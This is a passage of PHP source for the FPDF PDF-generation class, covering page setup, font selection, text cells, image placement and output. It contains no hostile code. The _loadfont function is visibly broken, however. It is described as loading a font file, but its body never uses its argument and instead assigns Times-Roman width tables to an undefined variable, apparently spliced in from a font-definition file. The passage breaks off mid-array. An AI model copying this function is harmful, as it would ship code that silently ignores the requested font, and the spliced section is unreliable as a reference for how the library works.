var $PageSizes;          // used for pages with non default sizes or orientations
var $wPt, $hPt;          // dimensions of current page in points
var $w, $h;              // dimensions of current page in user unit
var $lMargin;            // left margin
var $tMargin;            // top margin
var $rMargin;            // right margin
var $bMargin;            // page break margin
var $cMargin;            // cell margin
var $x, $y;              // current position in user unit
var $lasth;              // height of last printed cell
var $LineWidth;          // line width in user unit
var $fontpath;           // path containing fonts
var $CoreFonts;          // array of core font names
var $fonts;              // array of used fonts
var $FontFiles;          // array of font files
var $diffs;              // array of encoding differences
var $FontFamily;         // current font family
var $FontStyle;          // current font style
var $underline;          // underlining flag
var $CurrentFont;        // current font info
var $FontSizePt;         // current font size in points
var $FontSize;           // current font size in user unit
var $DrawColor;          // commands for drawing color
var $FillColor;          // commands for filling color
var $TextColor;          // commands for text color
var $ColorFlag;          // indicates whether fill and text colors are different
var $ws;                 // word spacing
var $images;             // array of used images
var $PageLinks;          // array of links in pages
var $links;              // array of internal links
var $AutoPageBreak;      // automatic page breaking
var $PageBreakTrigger;   // threshold used to trigger page breaks
var $InHeader;           // flag set when processing header
var $InFooter;           // flag set when processing footer
var $ZoomMode;           // zoom display mode
var $LayoutMode;         // layout display mode
var $title;              // title
var $subject;            // subject
var $author;             // author
var $keywords;           // keywords
var $creator;            // creator
var $AliasNbPages;       // alias for total number of pages
var $PDFVersion;         // PDF version number

/*******************************************************************************
*                                                                              *
*                               Public methods                                 *
*                                                                              *
*******************************************************************************/
function FPDF($orientation='P', $unit='mm', $size='A4')
{
	// Some checks
	$this->_dochecks();
	// Initialization of properties
	$this->page = 0;
	$this->n = 2;
	$this->buffer = '';
	$this->pages = array();
	$this->PageSizes = array();
	$this->state = 0;
	$this->fonts = array();
	$this->FontFiles = array();
	$this->diffs = array();
	$this->images = array();
	$this->links = array();
	$this->InHeader = false;
	$this->InFooter = false;
	$this->lasth = 0;
	$this->FontFamily = '';
	$this->FontStyle = '';
	$this->FontSizePt = 12;
	$this->underline = false;
	$this->DrawColor = '0 G';
	$this->FillColor = '0 g';
	$this->TextColor = '0 g';
	$this->ColorFlag = false;
	$this->ws = 0;
	// Font path
	if(defined('FPDF_FONTPATH'))
	{
		$this->fontpath = FPDF_FONTPATH;
		if(substr($this->fontpath,-1)!='/' && substr($this->fontpath,-1)!='\\')
			$this->fontpath .= '/';
	}
	elseif(is_dir(dirname(__FILE__).'/font'))
		$this->fontpath = dirname(__FILE__).'/font/';
	else
		$this->fontpath = '';
	// Core fonts
	$this->CoreFonts = array('courier', 'helvetica', 'times', 'symbol', 'zapfdingbats');
	// Scale factor
	if($unit=='pt')
		$this->k = 1;
	elseif($unit=='mm')
		$this->k = 72/25.4;
	elseif($unit=='cm')
		$this->k = 72/2.54;
	elseif($unit=='in')
		$this->k = 72;
	else
		$this->Error('Incorrect unit: '.$unit);
	// Page sizes
	$this->StdPageSizes = array('a3'=>array(841.89,1190.55), 'a4'=>array(595.28,841.89), 'a5'=>array(420.94,595.28),
		'letter'=>array(612,792), 'legal'=>array(612,1008));
	$size = $this->_getpagesize($size);
	$this->DefPageSize = $size;
	$this->CurPageSize = $size;
	// Page orientation
	$orientation = strtolower($orientation);
	if($orientation=='p' || $orientation=='portrait')
	{
		$this->DefOrientation = 'P';
		$this->w = $size[0];
		$this->h = $size[1];
	}
	elseif($orientation=='l' || $orientation=='landscape')
	{
		$this->DefOrientation = 'L';
		$this->w = $size[1];
		$this->h = $size[0];
	}
	else
		$this->Error('Incorrect orientation: '.$orientation);
	$this->CurOrientation = $this->DefOrientation;
	$this->wPt = $this->w*$this->k;
	$this->hPt = $this->h*$this->k;
	// Page margins (1 cm)
	$margin = 28.35/$this->k;
	$this->SetMargins($margin,$margin);
	// Interior cell margin (1 mm)
	$this->cMargin = $margin/10;
	// Line width (0.2 mm)
	$this->LineWidth = .567/$this->k;
	// Automatic page break
	$this->SetAutoPageBreak(true,2*$margin);
	// Default display mode
	$this->SetDisplayMode('default');
	// Enable compression
	$this->SetCompression(true);
	// Set default PDF version number
	$this->PDFVersion = '1.3';
}

function SetMargins($left, $top, $right=null)
{
	// Set left, top and right margins
	$this->lMargin = $left;
	$this->tMargin = $top;
	if($right===null)
		$right = $left;
	$this->rMargin = $right;
}

function SetLeftMargin($margin)
{
	// Set left margin
	$this->lMargin = $margin;
	if($this->page>0 && $this->x<$margin)
		$this->x = $margin;
}

function SetTopMargin($margin)
{
	// Set top margin
	$this->tMargin = $margin;
}

function SetRightMargin($margin)
{
	// Set right margin
	$this->rMargin = $margin;
}

function SetAutoPageBreak($auto, $margin=0)
{
	// Set auto page break mode and triggering margin
	$this->AutoPageBreak = $auto;
	$this->bMargin = $margin;
	$this->PageBreakTrigger = $this->h-$margin;
}

function SetDisplayMode($zoom, $layout='default')
{
	// Set display mode in viewer
	if($zoom=='fullpage' || $zoom=='fullwidth' || $zoom=='real' || $zoom=='default' || !is_string($zoom))
		$this->ZoomMode = $zoom;
	else
		$this->Error('Incorrect zoom display mode: '.$zoom);
	if($layout=='single' || $layout=='continuous' || $layout=='two' || $layout=='default')
		$this->LayoutMode = $layout;
	else
		$this->Error('Incorrect layout display mode: '.$layout);
}

function SetCompression($compress)
{
	// Set page compression
	if(function_exists('gzcompress'))
		$this->compress = $compress;
	else
		$this->compress = false;
}

function SetTitle($title, $isUTF8=false)
{
	// Title of document
	if($isUTF8)
		$title = $this->_UTF8toUTF16($title);
	$this->title = $title;
}

function SetSubject($subject, $isUTF8=false)
{
	// Subject of document
	if($isUTF8)
		$subject = $this->_UTF8toUTF16($subject);
	$this->subject = $subject;
}

function SetAuthor($author, $isUTF8=false)
{
	// Author of document
	if($isUTF8)
		$author = $this->_UTF8toUTF16($author);
	$this->author = $author;
}

function SetKeywords($keywords, $isUTF8=false)
{
	// Keywords of document
	if($isUTF8)
		$keywords = $this->_UTF8toUTF16($keywords);
	$this->keywords = $keywords;
}

function SetCreator($creator, $isUTF8=false)
{
	// Creator of document
	if($isUTF8)
		$creator = $this->_UTF8toUTF16($creator);
	$this->creator = $creator;
}

function AliasNbPages($alias='{nb}')
{
	// Define an alias for total number of pages
	$this->AliasNbPages = $alias;
}

function Error($msg)
{
	// Fatal error
	die('<b>FPDF error:</b> '.$msg);
}

function Open()
{
	// Begin document
	$this->state = 1;
}

function Close()
{
	// Terminate document
	if($this->state==3)
		return;
	if($this->page==0)
		$this->AddPage();
	// Page footer
	$this->InFooter = true;
	$this->Footer();
	$this->InFooter = false;
	// Close page
	$this->_endpage();
	// Close document
	$this->_enddoc();
}

function AddPage($orientation='', $size='')
{
	// Start a new page
	if($this->state==0)
		$this->Open();
	$family = $this->FontFamily;
	$style = $this->FontStyle.($this->underline ? 'U' : '');
	$fontsize = $this->FontSizePt;
	$lw = $this->LineWidth;
	$dc = $this->DrawColor;
	$fc = $this->FillColor;
	$tc = $this->TextColor;
	$cf = $this->ColorFlag;
	if($this->page>0)
	{
		// Page footer
		$this->InFooter = true;
		$this->Footer();
		$this->InFooter = false;
		// Close page
		$this->_endpage();
	}
	// Start new page
	$this->_beginpage($orientation,$size);
	// Set line cap style to square
	$this->_out('2 J');
	// Set line width
	$this->LineWidth = $lw;
	$this->_out(sprintf('%.2F w',$lw*$this->k));
	// Set font
	if($family)
		$this->SetFont($family,$style,$fontsize);
	// Set colors
	$this->DrawColor = $dc;
	if($dc!='0 G')
		$this->_out($dc);
	$this->FillColor = $fc;
	if($fc!='0 g')
		$this->_out($fc);
	$this->TextColor = $tc;
	$this->ColorFlag = $cf;
	// Page header
	$this->InHeader = true;
	$this->Header();
	$this->InHeader = false;
	// Restore line width
	if($this->LineWidth!=$lw)
	{
		$this->LineWidth = $lw;
		$this->_out(sprintf('%.2F w',$lw*$this->k));
	}
	// Restore font
	if($family)
		$this->SetFont($family,$style,$fontsize);
	// Restore colors
	if($this->DrawColor!=$dc)
	{
		$this->DrawColor = $dc;
		$this->_out($dc);
	}
	if($this->FillColor!=$fc)
	{
		$this->FillColor = $fc;
		$this->_out($fc);
	}
	$this->TextColor = $tc;
	$this->ColorFlag = $cf;
}

function Header()
{
	// To be implemented in your own inherited class
}

function Footer()
{
	// To be implemented in your own inherited class
}

function PageNo()
{
	// Get current page number
	return $this->page;
}

function SetDrawColor($r, $g=null, $b=null)
{
	// Set color for all stroking operations
	if(($r==0 && $g==0 && $b==0) || $g===null)
		$this->DrawColor = sprintf('%.3F G',$r/255);
	else
		$this->DrawColor = sprintf('%.3F %.3F %.3F RG',$r/255,$g/255,$b/255);
	if($this->page>0)
		$this->_out($this->DrawColor);
}

function SetFillColor($r, $g=null, $b=null)
{
	// Set color for all filling operations
	if(($r==0 && $g==0 && $b==0) || $g===null)
		$this->FillColor = sprintf('%.3F g',$r/255);
	else
		$this->FillColor = sprintf('%.3F %.3F %.3F rg',$r/255,$g/255,$b/255);
	$this->ColorFlag = ($this->FillColor!=$this->TextColor);
	if($this->page>0)
		$this->_out($this->FillColor);
}

function SetTextColor($r, $g=null, $b=null)
{
	// Set color for text
	if(($r==0 && $g==0 && $b==0) || $g===null)
		$this->TextColor = sprintf('%.3F g',$r/255);
	else
		$this->TextColor = sprintf('%.3F %.3F %.3F rg',$r/255,$g/255,$b/255);
	$this->ColorFlag = ($this->FillColor!=$this->TextColor);
}

function GetStringWidth($s)
{
	// Get width of a string in the current font
	$s = (string)$s;
	$cw = &$this->CurrentFont['cw'];
	$w = 0;
	$l = strlen($s);
	for($i=0;$i<$l;$i++)
		$w += $cw[$s[$i]];
	return $w*$this->FontSize/1000;
}

function SetLineWidth($width)
{
	// Set line width
	$this->LineWidth = $width;
	if($this->page>0)
		$this->_out(sprintf('%.2F w',$width*$this->k));
}

function Line($x1, $y1, $x2, $y2)
{
	// Draw a line
	$this->_out(sprintf('%.2F %.2F m %.2F %.2F l S',$x1*$this->k,($this->h-$y1)*$this->k,$x2*$this->k,($this->h-$y2)*$this->k));
}

function Rect($x, $y, $w, $h, $style='')
{
	// Draw a rectangle
	if($style=='F')
		$op = 'f';
	elseif($style=='FD' || $style=='DF')
		$op = 'B';
	else
		$op = 'S';
	$this->_out(sprintf('%.2F %.2F %.2F %.2F re %s',$x*$this->k,($this->h-$y)*$this->k,$w*$this->k,-$h*$this->k,$op));
}

function AddFont($family, $style='', $file='')
{
	// Add a TrueType, OpenType or Type1 font
	$family = strtolower($family);
	$style = strtoupper($style);
	if($style=='IB')
		$style = 'BI';
	$fontkey = $family.$style;
	if(isset($this->fonts[$fontkey]))
		return;
	$info = $this->_loadfont($file);
	$info['i'] = count($this->fonts)+1;
	if(!empty($info['diff']))
	{
		// Search existing encodings
		$n = array_search($info['diff'],$this->diffs);
		if(!$n)
		{
			$n = count($this->diffs)+1;
			$this->diffs[$n] = $info['diff'];
		}
		$info['diffn'] = $n;
	}
	if(!empty($info['file']))
	{
		// Embedded font
		if($info['type']=='TrueType')
			$this->FontFiles[$info['file']] = array('length1'=>$info['originalsize']);
		else
			$this->FontFiles[$info['file']] = array('length1'=>$info['size1'], 'length2'=>$info['size2']);
	}
	$this->fonts[$fontkey] = $info;
}

function SetFont($family, $style='', $size=0)
{
	// Select a font; size given in points
	if($family=='')
		$family = $this->FontFamily;
	else
		$family = strtolower($family);
	$style = strtoupper($style);
	if(strpos($style,'U')!==false)
	{
		$this->underline = true;
		$style = str_replace('U','',$style);
	}
	else
		$this->underline = false;
	if($style=='IB')
		$style = 'BI';
	if($size==0)
		$size = $this->FontSizePt;
	// Test if font is already selected
	if($this->FontFamily==$family && $this->FontStyle==$style && $this->FontSizePt==$size)
		return;
	// Test if font is already loaded
	$fontkey = $family.$style;
	if(!isset($this->fonts[$fontkey]))
	{
		// Test if one of the core fonts
		if($family=='arial')
			$family = 'helvetica';
		if(in_array($family,$this->CoreFonts))
		{
			if($family=='symbol' || $family=='zapfdingbats')
				$style = '';
			$fontkey = $family.$style;
			if(!isset($this->fonts[$fontkey]))
				$this->AddFont($family,$style);
		}
		else
			$this->Error('Undefined font: '.$family.' '.$style);
	}
	// Select it
	$this->FontFamily = $family;
	$this->FontStyle = $style;
	$this->FontSizePt = $size;
	$this->FontSize = $size/$this->k;
	$this->CurrentFont = &$this->fonts[$fontkey];
	if($this->page>0)
		$this->_out(sprintf('BT /F%d %.2F Tf ET',$this->CurrentFont['i'],$this->FontSizePt));
}

function SetFontSize($size)
{
	// Set font size in points
	if($this->FontSizePt==$size)
		return;
	$this->FontSizePt = $size;
	$this->FontSize = $size/$this->k;
	if($this->page>0)
		$this->_out(sprintf('BT /F%d %.2F Tf ET',$this->CurrentFont['i'],$this->FontSizePt));
}

function AddLink()
{
	// Create a new internal link
	$n = count($this->links)+1;
	$this->links[$n] = array(0, 0);
	return $n;
}

function SetLink($link, $y=0, $page=-1)
{
	// Set destination of internal link
	if($y==-1)
		$y = $this->y;
	if($page==-1)
		$page = $this->page;
	$this->links[$link] = array($page, $y);
}

function Link($x, $y, $w, $h, $link)
{
	// Put a link on the page
	$this->PageLinks[$this->page][] = array($x*$this->k, $this->hPt-$y*$this->k, $w*$this->k, $h*$this->k, $link);
}

function Text($x, $y, $txt)
{
	// Output a string
	$s = sprintf('BT %.2F %.2F Td (%s) Tj ET',$x*$this->k,($this->h-$y)*$this->k,$this->_escape($txt));
	if($this->underline && $txt!='')
		$s .= ' '.$this->_dounderline($x,$y,$txt);
	if($this->ColorFlag)
		$s = 'q '.$this->TextColor.' '.$s.' Q';
	$this->_out($s);
}

function AcceptPageBreak()
{
	// Accept automatic page break or not
	return $this->AutoPageBreak;
}

function Cell($w, $h=0, $txt='', $border=0, $ln=0, $align='', $fill=false, $link='')
{
	// Output a cell
	$k = $this->k;
	if($this->y+$h>$this->PageBreakTrigger && !$this->InHeader && !$this->InFooter && $this->AcceptPageBreak())
	{
		// Automatic page break
		$x = $this->x;
		$ws = $this->ws;
		if($ws>0)
		{
			$this->ws = 0;
			$this->_out('0 Tw');
		}
		$this->AddPage($this->CurOrientation,$this->CurPageSize);
		$this->x = $x;
		if($ws>0)
		{
			$this->ws = $ws;
			$this->_out(sprintf('%.3F Tw',$ws*$k));
		}
	}
	if($w==0)
		$w = $this->w-$this->rMargin-$this->x;
	$s = '';
	if($fill || $border==1)
	{
		if($fill)
			$op = ($border==1) ? 'B' : 'f';
		else
			$op = 'S';
		$s = sprintf('%.2F %.2F %.2F %.2F re %s ',$this->x*$k,($this->h-$this->y)*$k,$w*$k,-$h*$k,$op);
	}
	if(is_string($border))
	{
		$x = $this->x;
		$y = $this->y;
		if(strpos($border,'L')!==false)
			$s .= sprintf('%.2F %.2F m %.2F %.2F l S ',$x*$k,($this->h-$y)*$k,$x*$k,($this->h-($y+$h))*$k);
		if(strpos($border,'T')!==false)
			$s .= sprintf('%.2F %.2F m %.2F %.2F l S ',$x*$k,($this->h-$y)*$k,($x+$w)*$k,($this->h-$y)*$k);
		if(strpos($border,'R')!==false)
			$s .= sprintf('%.2F %.2F m %.2F %.2F l S ',($x+$w)*$k,($this->h-$y)*$k,($x+$w)*$k,($this->h-($y+$h))*$k);
		if(strpos($border,'B')!==false)
			$s .= sprintf('%.2F %.2F m %.2F %.2F l S ',$x*$k,($this->h-($y+$h))*$k,($x+$w)*$k,($this->h-($y+$h))*$k);
	}
	if($txt!=='')
	{
		if($align=='R')
			$dx = $w-$this->cMargin-$this->GetStringWidth($txt);
		elseif($align=='C')
			$dx = ($w-$this->GetStringWidth($txt))/2;
		else
			$dx = $this->cMargin;
		if($this->ColorFlag)
			$s .= 'q '.$this->TextColor.' ';
		$txt2 = str_replace(')','\\)',str_replace('(','\\(',str_replace('\\','\\\\',$txt)));
		$s .= sprintf('BT %.2F %.2F Td (%s) Tj ET',($this->x+$dx)*$k,($this->h-($this->y+.5*$h+.3*$this->FontSize))*$k,$txt2);
		if($this->underline)
			$s .= ' '.$this->_dounderline($this->x+$dx,$this->y+.5*$h+.3*$this->FontSize,$txt);
		if($this->ColorFlag)
			$s .= ' Q';
		if($link)
			$this->Link($this->x+$dx,$this->y+.5*$h-.5*$this->FontSize,$this->GetStringWidth($txt),$this->FontSize,$link);
	}
	if($s)
		$this->_out($s);
	$this->lasth = $h;
	if($ln>0)
	{
		// Go to next line
		$this->y += $h;
		if($ln==1)
			$this->x = $this->lMargin;
	}
	else
		$this->x += $w;
}

function MultiCell($w, $h, $txt, $border=0, $align='J', $fill=false)
{
	// Output text with automatic or explicit line breaks
	$cw = &$this->CurrentFont['cw'];
	if($w==0)
		$w = $this->w-$this->rMargin-$this->x;
	$wmax = ($w-2*$this->cMargin)*1000/$this->FontSize;
	$s = str_replace("\r",'',$txt);
	$nb = strlen($s);
	if($nb>0 && $s[$nb-1]=="\n")
		$nb--;
	$b = 0;
	if($border)
	{
		if($border==1)
		{
			$border = 'LTRB';
			$b = 'LRT';
			$b2 = 'LR';
		}
		else
		{
			$b2 = '';
			if(strpos($border,'L')!==false)
				$b2 .= 'L';
			if(strpos($border,'R')!==false)
				$b2 .= 'R';
			$b = (strpos($border,'T')!==false) ? $b2.'T' : $b2;
		}
	}
	$sep = -1;
	$i = 0;
	$j = 0;
	$l = 0;
	$ns = 0;
	$nl = 1;
	while($i<$nb)
	{
		// Get next character
		$c = $s[$i];
		if($c=="\n")
		{
			// Explicit line break
			if($this->ws>0)
			{
				$this->ws = 0;
				$this->_out('0 Tw');
			}
			$this->Cell($w,$h,substr($s,$j,$i-$j),$b,2,$align,$fill);
			$i++;
			$sep = -1;
			$j = $i;
			$l = 0;
			$ns = 0;
			$nl++;
			if($border && $nl==2)
				$b = $b2;
			continue;
		}
		if($c==' ')
		{
			$sep = $i;
			$ls = $l;
			$ns++;
		}
		$l += $cw[$c];
		if($l>$wmax)
		{
			// Automatic line break
			if($sep==-1)
			{
				if($i==$j)
					$i++;
				if($this->ws>0)
				{
					$this->ws = 0;
					$this->_out('0 Tw');
				}
				$this->Cell($w,$h,substr($s,$j,$i-$j),$b,2,$align,$fill);
			}
			else
			{
				if($align=='J')
				{
					$this->ws = ($ns>1) ? ($wmax-$ls)/1000*$this->FontSize/($ns-1) : 0;
					$this->_out(sprintf('%.3F Tw',$this->ws*$this->k));
				}
				$this->Cell($w,$h,substr($s,$j,$sep-$j),$b,2,$align,$fill);
				$i = $sep+1;
			}
			$sep = -1;
			$j = $i;
			$l = 0;
			$ns = 0;
			$nl++;
			if($border && $nl==2)
				$b = $b2;
		}
		else
			$i++;
	}
	// Last chunk
	if($this->ws>0)
	{
		$this->ws = 0;
		$this->_out('0 Tw');
	}
	if($border && strpos($border,'B')!==false)
		$b .= 'B';
	$this->Cell($w,$h,substr($s,$j,$i-$j),$b,2,$align,$fill);
	$this->x = $this->lMargin;
}

function Write($h, $txt, $link='')
{
	// Output text in flowing mode
	$cw = &$this->CurrentFont['cw'];
	$w = $this->w-$this->rMargin-$this->x;
	$wmax = ($w-2*$this->cMargin)*1000/$this->FontSize;
	$s = str_replace("\r",'',$txt);
	$nb = strlen($s);
	$sep = -1;
	$i = 0;
	$j = 0;
	$l = 0;
	$nl = 1;
	while($i<$nb)
	{
		// Get next character
		$c = $s[$i];
		if($c=="\n")
		{
			// Explicit line break
			$this->Cell($w,$h,substr($s,$j,$i-$j),0,2,'',0,$link);
			$i++;
			$sep = -1;
			$j = $i;
			$l = 0;
			if($nl==1)
			{
				$this->x = $this->lMargin;
				$w = $this->w-$this->rMargin-$this->x;
				$wmax = ($w-2*$this->cMargin)*1000/$this->FontSize;
			}
			$nl++;
			continue;
		}
		if($c==' ')
			$sep = $i;
		$l += $cw[$c];
		if($l>$wmax)
		{
			// Automatic line break
			if($sep==-1)
			{
				if($this->x>$this->lMargin)
				{
					// Move to next line
					$this->x = $this->lMargin;
					$this->y += $h;
					$w = $this->w-$this->rMargin-$this->x;
					$wmax = ($w-2*$this->cMargin)*1000/$this->FontSize;
					$i++;
					$nl++;
					continue;
				}
				if($i==$j)
					$i++;
				$this->Cell($w,$h,substr($s,$j,$i-$j),0,2,'',0,$link);
			}
			else
			{
				$this->Cell($w,$h,substr($s,$j,$sep-$j),0,2,'',0,$link);
				$i = $sep+1;
			}
			$sep = -1;
			$j = $i;
			$l = 0;
			if($nl==1)
			{
				$this->x = $this->lMargin;
				$w = $this->w-$this->rMargin-$this->x;
				$wmax = ($w-2*$this->cMargin)*1000/$this->FontSize;
			}
			$nl++;
		}
		else
			$i++;
	}
	// Last chunk
	if($i!=$j)
		$this->Cell($l/1000*$this->FontSize,$h,substr($s,$j),0,0,'',0,$link);
}

function Ln($h=null)
{
	// Line feed; default value is last cell height
	$this->x = $this->lMargin;
	if($h===null)
		$this->y += $this->lasth;
	else
		$this->y += $h;
}

function Image($file, $x=null, $y=null, $w=0, $h=0, $type='', $link='')
{
	// Put an image on the page
	if(!isset($this->images[$file]))
	{
		// First use of this image, get info
		if($type=='')
		{
			$pos = strrpos($file,'.');
			if(!$pos)
				$this->Error('Image file has no extension and no type was specified: '.$file);
			$type = substr($file,$pos+1);
		}
		$type = strtolower($type);
		if($type=='jpeg')
			$type = 'jpg';
		$mtd = '_parse'.$type;
		if(!method_exists($this,$mtd))
			$this->Error('Unsupported image type: '.$type);
		$info = $this->$mtd($file);
		$info['i'] = count($this->images)+1;
		$this->images[$file] = $info;
	}
	else
		$info = $this->images[$file];

	// Automatic width and height calculation if needed
	if($w==0 && $h==0)
	{
		// Put image at 96 dpi
		$w = -96;
		$h = -96;
	}
	if($w<0)
		$w = -$info['w']*72/$w/$this->k;
	if($h<0)
		$h = -$info['h']*72/$h/$this->k;
	if($w==0)
		$w = $h*$info['w']/$info['h'];
	if($h==0)
		$h = $w*$info['h']/$info['w'];

	// Flowing mode
	if($y===null)
	{
		if($this->y+$h>$this->PageBreakTrigger && !$this->InHeader && !$this->InFooter && $this->AcceptPageBreak())
		{
			// Automatic page break
			$x2 = $this->x;
			$this->AddPage($this->CurOrientation,$this->CurPageSize);
			$this->x = $x2;
		}
		$y = $this->y;
		$this->y += $h;
	}

	if($x===null)
		$x = $this->x;
	$this->_out(sprintf('q %.2F 0 0 %.2F %.2F %.2F cm /I%d Do Q',$w*$this->k,$h*$this->k,$x*$this->k,($this->h-($y+$h))*$this->k,$info['i']));
	if($link)
		$this->Link($x,$y,$w,$h,$link);
}

function GetX()
{
	// Get x position
	return $this->x;
}

function SetX($x)
{
	// Set x position
	if($x>=0)
		$this->x = $x;
	else
		$this->x = $this->w+$x;
}

function GetY()
{
	// Get y position
	return $this->y;
}

function SetY($y)
{
	// Set y position and reset x
	$this->x = $this->lMargin;
	if($y>=0)
		$this->y = $y;
	else
		$this->y = $this->h+$y;
}

function SetXY($x, $y)
{
	// Set x and y positions
	$this->SetY($y);
	$this->SetX($x);
}

function Output($name='', $dest='')
{
	// Output PDF to some destination
	if($this->state<3)
		$this->Close();
	$dest = strtoupper($dest);
	if($dest=='')
	{
		if($name=='')
		{
			$name = 'doc.pdf';
			$dest = 'I';
		}
		else
			$dest = 'F';
	}
	switch($dest)
	{
		case 'I':
			// Send to standard output
			$this->_checkoutput();
			if(PHP_SAPI!='cli')
			{
				// We send to a browser
				header('Content-Type: application/pdf');
				header('Content-Disposition: inline; filename="'.$name.'"');
				header('Cache-Control: private, max-age=0, must-revalidate');
				header('Pragma: public');
			}
			echo $this->buffer;
			break;
		case 'D':
			// Download file
			$this->_checkoutput();
			header('Content-Type: application/x-download');
			header('Content-Disposition: attachment; filename="'.$name.'"');
			header('Cache-Control: private, max-age=0, must-revalidate');
			header('Pragma: public');
			echo $this->buffer;
			break;
		case 'F':
			// Save to local file
			$f = fopen($name,'wb');
			if(!$f)
				$this->Error('Unable to create output file: '.$name);
			fwrite($f,$this->buffer,strlen($this->buffer));
			fclose($f);
			break;
		case 'S':
			// Return as a string
			return $this->buffer;
		default:
			$this->Error('Incorrect output destination: '.$dest);
	}
	return '';
}

/*******************************************************************************
*                                                                              *
*                              Protected methods                               *
*                                                                              *
*******************************************************************************/
function _dochecks()
{
	// Check availability of %F
	if(sprintf('%.1F',1.0)!='1.0')
		$this->Error('This version of PHP is not supported');
	// Check mbstring overloading
	if(ini_get('mbstring.func_overload') & 2)
		$this->Error('mbstring overloading must be disabled');
	// Ensure runtime magic quotes are disabled
	if(get_magic_quotes_runtime())
		@set_magic_quotes_runtime(0);
}

function _checkoutput()
{
	if(PHP_SAPI!='cli')
	{
		if(headers_sent($file,$line))
			$this->Error("Some data has already been output, can't send PDF file (output started at $file:$line)");
	}
	if(ob_get_length())
	{
		// The output buffer is not empty
		if(preg_match('/^(\xEF\xBB\xBF)?\s*$/',ob_get_contents()))
		{
			// It contains only a UTF-8 BOM and/or whitespace, let's clean it
			ob_clean();
		}
		else
			$this->Error("Some data has already been output, can't send PDF file");
	}
}

function _getpagesize($size)
{
	if(is_string($size))
	{
		$size = strtolower($size);
		if(!isset($this->StdPageSizes[$size]))
			$this->Error('Unknown page size: '.$size);
		$a = $this->StdPageSizes[$size];
		return array($a[0]/$this->k, $a[1]/$this->k);
	}
	else
	{
		if($size[0]>$size[1])
			return array($size[1], $size[0]);
		else
			return $size;
	}
}

function _beginpage($orientation, $size)
{
	$this->page++;
	$this->pages[$this->page] = '';
	$this->state = 2;
	$this->x = $this->lMargin;
	$this->y = $this->tMargin;
	$this->FontFamily = '';
	// Check page size and orientation
	if($orientation=='')
		$orientation = $this->DefOrientation;
	else
		$orientation = strtoupper($orientation[0]);
	if($size=='')
		$size = $this->DefPageSize;
	else
		$size = $this->_getpagesize($size);
	if($orientation!=$this->CurOrientation || $size[0]!=$this->CurPageSize[0] || $size[1]!=$this->CurPageSize[1])
	{
		// New size or orientation
		if($orientation=='P')
		{
			$this->w = $size[0];
			$this->h = $size[1];
		}
		else
		{
			$this->w = $size[1];
			$this->h = $size[0];
		}
		$this->wPt = $this->w*$this->k;
		$this->hPt = $this->h*$this->k;
		$this->PageBreakTrigger = $this->h-$this->bMargin;
		$this->CurOrientation = $orientation;
		$this->CurPageSize = $size;
	}
	if($orientation!=$this->DefOrientation || $size[0]!=$this->DefPageSize[0] || $size[1]!=$this->DefPageSize[1])
		$this->PageSizes[$this->page] = array($this->wPt, $this->hPt);
}

function _endpage()
{
	$this->state = 1;
}

function _loadfont($font)
{
	// Load a font definition file from the font directory
			$a['type'] = 'Core';
			$a['name'] = 'Times-Roman';
			$a['up'] = -100;
			$a['ut'] = 50;
			$a['cw'] = array(
				chr(0)=>250,chr(1)=>250,chr(2)=>250,chr(3)=>250,chr(4)=>250,chr(5)=>250,chr(6)=>250,chr(7)=>250,chr(8)=>250,chr(9)=>250,chr(10)=>250,chr(11)=>250,chr(12)=>250,chr(13)=>250,chr(14)=>250,chr(15)=>250,chr(16)=>250,chr(17)=>250,chr(18)=>250,chr(19)=>250,chr(20)=>250,chr(21)=>250,
				chr(22)=>250,chr(23)=>250,chr(24)=>250,chr(25)=>250,chr(26)=>250,chr(27)=>250,chr(28)=>250,chr(29)=>250,chr(30)=>250,chr(31)=>250,' '=>250,'!'=>333,'"'=>408,'#'=>500,'$'=>500,'%'=>833,'&'=>778,'\''=>180,'('=>333,')'=>333,'*'=>500,'+'=>564,
				','=>250,'-'=>333,'.'=>250,'/'=>278,'0'=>500,'1'=>500,'2'=>500,'3'=>500,'4'=>500,'5'=>500,'6'=>500,'7'=>500,'8'=>500,'9'=>500,':'=>278,';'=>278,'<'=>564,'='=>564,'>'=>564,'?'=>444,'@'=>921,'A'=>722,
				'B'=>667,'C'=>667,'D'=>722,'E'=>611,'F'=>556,'G'=>722,'H'=>722,'I'=>333,'J'=>389,'K'=>722,'L'=>611,'M'=>889,'N'=>722,'O'=>722,'P'=>556,'Q'=>722,'R'=>667,'S'=>556,'T'=>611,'U'=>722,'V'=>722,'W'=>944,
				'X'=>722,'Y'=>722,'Z'=>611,'['=>333,'\\'=>278,']'=>333,'^'=>469,'_'=>500,'`'=>333,'a'=>444,'b'=>500,'c'=>444,'d'=>500,'e'=>444,'f'=>333,'g'=>500,'h'=>500,'i'=>278,'j'=>278,'k'=>500,'l'=>278,'m'=>778,
				'n'=>500,'o'=>500,'p'=>500,'q'=>500,'r'=>333,'s'=>389,'t'=>278,'u'=>500,'v'=>500,'w'=>722,'x'=>500,'y'=>500,'z'=>444,'{'=>480,'|'=>200,'}'=>480,'~'=>541,chr(127)=>350,chr(128)=>500,chr(129)=>350,chr(130)=>333,chr(131)=>500,
				chr(132)=>444,chr(133)=>1000,chr(134)=>500,chr(135)=>500,chr(136)=>333,chr(137)=>1000,chr(138)=>556,chr(139)=>333,chr(140)=>889,chr(141)=>350,chr(142)=>611,chr(143)=>350,chr(144)=>350,chr(145)=>333,chr(146)=>333,chr(147)=>444,chr(148)=>444,chr(149)=>350,chr(150)=>500,chr(151)=>1000,chr(152)=>333,chr(153)=>980,
				chr(154)=>389,chr(155)=>333,chr(156)=>722,chr(157)=>350,chr(158)=>444,chr(159)=>722,chr(160)=>250,chr(161)=>333,chr(162)=>500,chr(163)=>500,chr(164)=>500,chr(165)=>500,chr(166)=>200,chr(167)=>500,chr(168)=>333,chr(169)=>760,chr(170)=>276,chr(171)=>500,chr(172)=>564,chr(173)=>333,chr(174)=>760,chr(175)=>333,
				chr(176)=>400,chr(177)=>564,chr(178)=>300,chr(179)=>300,chr(180)=>333,chr(181)=>500,chr(182)=>453,chr(183)=>250,chr(184)=>333,chr(185)=>300,chr(186)=>310,chr(187)=>500,chr(188)=>750,chr(189)=>750,chr(190)=>750,chr(191)=>444,chr(192)=>722,chr(193)=>722,chr(194)=>722,chr(195)=>722,chr(196)=>722,chr(197)=>722,
